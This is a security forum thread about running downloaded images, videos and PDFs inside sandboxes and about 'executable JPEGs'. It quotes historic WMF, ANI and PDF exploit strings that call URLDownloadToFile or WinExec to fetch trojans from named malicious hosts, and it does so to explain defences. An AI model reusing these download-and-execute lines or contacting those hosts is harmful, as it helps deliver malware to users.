Take care when running some file types with "double click"

[arran]

I'm not reading all the posts in this thread because I have little time atm. So I don't know if any one else has already suggested this.

Quote

"Take care when running some file types with "double click""

Because You can't force Windows Picture and Fax Viewer to run in Sandboxie I use FastStone Image Viewer to open JPG's and force that to run in the Sandbox. And it is a way better picture viewer than windows one.

I also force Zoom Player to run in the sandbox when ever I open movie files.

So in conclusion problem is solved with opening files.

[andyman35]

A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two.

[trismegistos]

The premise in the OP's suggestion is if the user has only a sandboxie type of protection. HIPs users will not be bothered much from this type of exploits or malware embedded files as they will be prompted if an unknown process will try to execute and Rmus has pointed out that any execution control protection will protect you from this type of vulnerabilities. Whether this be using arbitrary code execution or buffer overflows, etc, as always the end result will be to download and execute. Rmus is always in the search for anything otherwise being exploited in the wild. This is from what I gathered from the various similar threads. Thanks to Rmus, to the OP, to StevieO and to others with their viewpoints and suggestions on similar topics or threads. You are all heaven sent.

[trismegistos]

Originally Posted by andyman35

A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two.

VLC player and other softwares have also their shares of vulnerabilities in the past and obviously they have released their patches. But whether window defaults or alternatives will always have undisclosed or would be discovered vulnerabilities as code complexities grew evermore. What would be the best will be a preventive measures as the old adage says, prevention is better than cure. Others will quick to remind the masses to always update. And that is not a bad advice but a vicious cycle of updates would ensue. Windchild and Rmus have pointed out that any anti-execution type of protections or default deny policy like the use of LUA-SRP, AE, OR HIPS will give you ample protections from those exploits or malwares taking advantage of those vulnerabilities.

But as you pointed out, using such alternatives could help one run those sandboxed. Unless of course you only rely on sandboxie type of protection, this will hold as a nice suggestion indeed.

btw: I'm still using an oldversion applications with published multiple vulnerabilities, but since I have adequate protection which is HIPS, I would not bother bloat my netbooks precious disk space.

[firzen771]

Originally Posted by andyman35

A simple 'set and forget' solution would be ( as Arran says)to install 3rd party picture and video viewers and have them always run sandboxed by default.There are many such free products that offer more functionality that the Windows defaults.XNView,VLC player to name but two.

the only reason i dont use a 3rd party image viewer is simply because i honestly dont need that extra functionality

[Rmus]

Just to clarify when an image file such as a JPEG can be a true executable: In a long thread in 2005 at DSLR, the topic, "executable jpegs," was beat to death. It mostly discussed spoofed extensions (which cannot execute like an EXE) but there was this interesting sidelight. One person commented that a jpeg can't be a true executable because a jpeg doesn't have the appropriate header for an executable program. This response followed:

What most people don't know is that JPEG has a unique characteristic from most file formats - it doesn't actually require its header ( 0xFFD8 ) to be at the start of the file.

So what does this mean? Well, for one you can prepend a small executable file (such as a 32bit Windows PE executable or a VBS script to name just two of many examples) to the start of a JPEG and

1) the JPEG will still visually render under all imaging programs which follow the JPEG specification, yet

2) the prepended executable component of the file will run normally if the file is 'executed' (ie. double-clicked on from Explorer ,or activated via Start | Run, or the command prompt, etc etc).

Nothing more was said about this, and I wondered: how such a file could be crafted maliciously; why it wasn't used in the wild; how would such an exploit work, that is, how would the file run; how would it get downloaded onto someone's computer; under what circumstances would a user be tricked into opening such a file; and what does "small" mean? How much executable code could be prepended?

I put these questions to several knowledgeable people and did not receive any satisfactory or convincing answers. From my viewpoint with people I was helping at that time, I concluded this was a NO-Threat.

Image and data files have not been used in exploits as true executables. Rather, just a means of triggering automatically -- by remote code execution -- a vulnerability in something in the Operating System, the browser, or in an application. Examples:

1) ANI (Animated Cursor) file from 2004. Buffer overflow used API (Application Programming Interface) calls to connect out to the internet to download malware. IE6 required.

2) WMF (Windows Meta) file from 2005. Same idea. One analyst refers to these as "download and execute" exploits.

Here is a description:

Shellcode analysis -- download n' exec
http://blog.threatfire.com/2007/12/s...ad-n-exec.html

The websites attack visitors by targeting vulnerabilities in .ani file parsing, .wmf file parsing,...

[The code] loads urlmon and finds URLDownloadToFileA. These calls all tell us that this shellcode's functionality is download and execute -- and we can observe the url strings that the code is communicating with.

Download and execute shellcode like this happens to be some of the most prevalent shellcode that we see served up by malicious web sites.

The advisory for the exploit stated:

Vulnerability Summary for CVE-2005-4560
http://web.nvd.nist.gov/view/vuln/de...=CVE-2005-4560

The Windows Graphical Device Interface library (GDI32.DLL) in Microsoft Windows allows remote attackers to execute arbitrary code via a Windows Metafile (WMF) format image with a crafted SETABORTPROC GDI Escape function call, related to the Windows Picture and Fax Viewer (SHIMGVW.DLL), a different vulnerability than CVE-2005-2123 and CVE-2005-2124, and as originally discovered in the wild on unionseek.com.

We learned later that other image viewers also were vulnerable because they used that Windows DLL. Also, the file extension could be any image file

The code inside the WMF file had this string to download the trojan, ioo.exe:

URLDownloadToFileA.http://unionseek.com/ioo.exe

You'll recognize the API call as described above.

The ANI exploit files used the same code. This one from late 2004:

urlmon.dll-URLDownloadToFile-WinExec- 
HTTP://195.225.177.33/vx/win32.exe

3) PDF -- Still current. Again, these are not executable files. They depend on a vulnerability in the PDF Reader (Acrobat and Foxit being the most commonly targeted). They use the same Windows API call in a malformed PDF file, one being:

URLMON.DLL.URLDownloadToFileA
http://hyperliteautoservices.cn/load.php ?id=5

You can see that they all do the same thing. And there are bound to be other filetypes exploited in the future.

And, of course, as has been demonstrated, these are easy to block at the gate and prevent from carrying out their payload

_____________________________________________________________________________

As for the possbility for being infected by an image file as a true executable? Each person must come to her/his own conclusion, of course. I may be in the minority, but I don't worry about it.

----
rich

[aigle]

Originally Posted by ssj100

Okay, since there has been all sorts of discussion about non-executable file types causing infection, I've since got into the habit of running every new file I recover out of my sandboxed applications sandboxed (untrusted). This includes seemingly harmless .txt files, .jpg files etc etc.

I've now tested this technique with Sandboxie, DefenseWall, and GeSWall.

Interestingly, all 3 programs have problems when it comes to opening certain file types.

Let me illustrate with an example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .jpg file and recover it on to my real system
3. I open the .jpg file (with double click)
4. If Windows Picture and Fax Viewer is my default picture viewer, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click". Use the right-click option and run it sandboxed or untrusted or isolated.

Another example:
1. I open my Firefox browser sandboxed (Sandboxie) or untrusted (DefenseWall) or isolated (GeSWall)
2. I download a .avi file and recover it on to my real system
3. I open the .avi file (with double click)
4. If Windows Media Player is my default video player, it will open un-sandboxed or trusted or un-isolated, leaving me vulnerable to attacks.
5. In other words, don't open newly introduced files with "double-click" etc etc.

I'm sure there are many other examples, and all seem to relate to the built-in Windows programs like Windows Picture and Fax Viewer, and Windows Media Player.

I hope people can follow this. Please feel free to comment on this.

I solve the above problems by either using the right click option as stated above, or simply running a sandboxed windows explorer to open any newly introduced files. Another way to solve these issues are to find 3rd party replacements to run as default, instead of the Windows programs. For example, use another picture viewer to open .jpg files by default. Or use another video player to open .avi files by default. This way, all 3 programs should be able to catch the 3rd party application process and run it sandboxed/untrusted/isolated.

EDIT:
Another way to solve the second example above is to specifically configure Sandboxie/DefenseWall/GeSWall to run your default video player sandboxed or untrusted (DefenseWall runs wmplayer.exe as untrusted by default) or isolated.

I will explain regarding geswall in XP.

1- When u open any image in windows image viewer, it,s actually opeed by explorer.exe and explorer.exe is treated as always trusted in geswall, so image will be opened as trsuted. It,s a security concern.

Solution: Install any 3rd party image viewer like XnView, IrfanView or FastStone ImageViewer as ur default image viewer and all untrusted imges will be opened as isolated.

The images u see in ur browser etc are already isolated.

2- Regarding any untrusted media file, I think if u run an untrsuted file by double click, ur media player will be launched as untrusted or there will be a pop up to ask aboutv it, so there is no problem.

3- So is the case with pdf viewers, Office docs, txt files etc. If file is untrusted, the application that will open it will be launched untrusted too.
However there might be some usability issues like while editing the office files etc.you need to try n be sure to avoid any loss of work.

4- BTW with geswall it,s a whole different story in windows 7. If a file, say a pdf documentm, is untrusted and I open it by double click, it wiull be opened by pdf reader as trsuted.

Solution: I added all my viewers like pdf reader, OpenOffice image viewer, media palyer etc as to run always isolated in geswall. If i need i can restart any application as trusted on the fly via G caption icon on the top right conner of window.


A word of caution: If u open ur documents in MS word as isolate( geswalled), edit them and then re-save them, make sure that ur Office program is able to save this editing while running inside geswall or u might losse ur precious time n work/ data. SAme is true while editing a pdf file, a txt file, an image etc etc while it is running inside geswall. You might need to add rules in GesWall to make it smooth n trouble free.

Lastly even if I open an untrusted file as trusted, I am not so afraid as any malicious document needs to execute a code to do its damage and an anti-executable HIPS( CFP in my case) will take care of it. This is my securitty set up: A SANDBOX + AN ANTI-EXECUTABLE HIPS

[Ilya Rabinovich]

DefenseWall do support Windows Media Player as a "default untrusted".If you remove it from the list- it's your own risk.

[trismegistos]

Originally Posted by Rmus

Just to clarify when an image file such as a JPEG can be a true executable: In a long thread in 2005 at DSLR, the topic, "executable jpegs," was beat to death. It mostly discussed spoofed extensions (which cannot execute like an EXE) but there was this interesting sidelight. One person commented that a jpeg can't be a true executable because a jpeg doesn't have the appropriate header for an executable program. This response followed:

Nothing more was said about this, and I wondered: how such a file could be crafted maliciously; why it wasn't used in the wild; how would such an exploit work, that is, how would the file run; how would it get downloaded onto someone's computer; under what circumstances would a user be tricked into opening such a file; and what does "small" mean? How much executable code could be prepended?

I put these questions to several knowledgeable people and did not receive any satisfactory or convincing answers. From my viewpoint with people I was helping at that time, I concluded this was a NO-Threat.

Image and data files have not been used in exploits as true executables. Rather, just a means of triggering automatically -- by remote code execution -- a vulnerability in something in the Operating System, the browser, or in an application. Examples:

1) ANI (Animated Cursor) file from 2004. Buffer overflow used API (Application Programming Interface) calls to connect out to the internet to download malware. IE6 required.

2) WMF (Windows Meta) file from 2005. Same idea. One analyst refers to these as "download and execute" exploits.

Here is a description:

Shellcode analysis -- download n' exec
http://blog.threatfire.com/2007/12/s...ad-n-exec.html
The advisory for the exploit stated:

Vulnerability Summary for CVE-2005-4560
http://web.nvd.nist.gov/view/vuln/de...=CVE-2005-4560
We learned later that other image viewers also were vulnerable because they used that Windows DLL. Also, the file extension could be any image file

The code inside the WMF file had this string to download the trojan, ioo.exe:

URLDownloadToFileA.http://unionseek.com/ioo.exe

You'll recognize the API call as described above.

The ANI exploit files used the same code. This one from late 2004:

urlmon.dll-URLDownloadToFile-WinExec- 
HTTP://195.225.177.33/vx/win32.exe

3) PDF -- Still current. Again, these are not executable files. They depend on a vulnerability in the PDF Reader (Acrobat and Foxit being the most commonly targeted). They use the same Windows API call in a malformed PDF file, one being:

URLMON.DLL.URLDownloadToFileA
http://hyperliteautoservices.cn/load.php ?id=5

You can see that they all do the same thing. And there are bound to be other filetypes exploited in the future.

And, of course, as has been demonstrated, these are easy to block at the gate and prevent from carrying out their payload

_____________________________________________________________________________

As for the possbility for being infected by an image file as a true executable? Each person must come to her/his own conclusion, of course. I may be in the minority, but I don't worry about it.

----
rich

As always thanks for clarifying.

This true executable file masquerading as an image file or a malware embedded in an innocous file other than those spawning a shellcode of the download and execute types will surely among its various steps will display a strange behaviour, which any HIPs can block.

Without any POC, this 'true' executable jpeg story is just FUD.

[aigle]

I also enjoy the pop up free updates by disabling Defnce plus at that time.
BTW I don,t bother to update so often except my security software.

[aigle]

Usually not as updates of such programs don,t bring too much changes in the the way an application works. Most CFP rules remain same, just few pop ups.

As i said I mainly update my browsers and security soiftware. CCleaner like applications.... hmmm.... i don,t mind to use a 6 months old version.

[arran]

Originally Posted by firzen771

the only reason i dont use a 3rd party image viewer is simply because i honestly dont need that extra functionality

But when using Windows Picture and Fax Viewer you can't view images in FULL screen mode, full screen as in the same size of you monitor. Windows Picture and Fax Viewer doesn't allow it.

[arran]

Originally Posted by ssj100

Hmm, never really noticed that. I always thought when in full screen mode, the picture would just automatically expand to fit the full screen as able (that's what I've always seen anyway). I never pay that much attention to it though. Are you saying full-screen as in the picture taking up the entire screen? Wouldn't this distort the image though?

Yes I am saying that with 3rd party like FastStone the picture takes up the entire screen. And No it doesn't distort the image.

you should download and try FastStone Image Viewer in VM.

[trismegistos]

In a vulnerable or unpatched system, you don't even have to double click those files or view them on the default Windows Picture and Fax Viewer, merely browsing the folders containing those files with the windows explorer or hovering your mouse pointer over the exploit embedded image files, you will get owned or infected.

See my results on these wmf vulnerabilities testing with HIPS and Sandboxie...
http://www.wilderssecurity.com/showp...3&postcount=65

http://www.wilderssecurity.com/showp...6&postcount=69